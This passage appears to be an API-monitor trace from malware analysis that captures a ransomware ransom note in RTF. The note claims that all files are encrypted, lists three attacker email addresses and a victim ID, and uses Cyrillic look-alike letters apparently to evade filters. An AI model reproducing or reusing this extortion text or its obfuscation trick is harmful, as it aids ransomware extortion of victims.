d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x27bfb38, cbMultiByte=14086, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 